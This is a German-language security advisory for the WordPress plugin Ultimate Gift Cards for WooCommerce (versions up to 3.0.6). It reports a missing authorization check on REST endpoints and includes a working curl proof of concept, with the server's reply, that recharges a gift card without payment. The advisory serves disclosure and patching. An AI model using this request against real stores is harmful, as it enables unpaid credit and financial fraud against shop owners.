
Ultimate Gift Cards for WooCommerce <= 3.0.6 - Fehlende Autorisierung für den Unendlich-Geld-Glitch
Ultimate Gift Cards für WooCommerce <= 3.0.6 – Fehlende Autorisierung führt zu unendlichem Geld-Glitch
Das Plugin Ultimate Gift Cards for WooCommerce – Create WooCommerce Gift Cards, Gift Vouchers, Redeem & Manage Digital Gift Coupons. Offer Gift Certificates, Schedule Gift Cards, and Use Advance Coupons With Personalized Templates für WordPress ist aufgrund einer fehlenden Fähigkeitsprüfung an mehreren REST-API-Endpunkten wie /wp-json/gifting/recharge-giftcard in allen Versionen bis einschließlich 3.0.6 anfällig für unbefugte Änderungen von Daten. Dadurch ist es nicht authentifizierten Angreifern möglich, ein Geschenkkarten-Guthaben ohne Zahlung aufzuladen und das Guthaben von Geschenkkarten zu reduzieren, ohne etwas zu kaufen.
curl -X POST \
https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
-H 'Content-Type: application/json' \
-d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'
{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}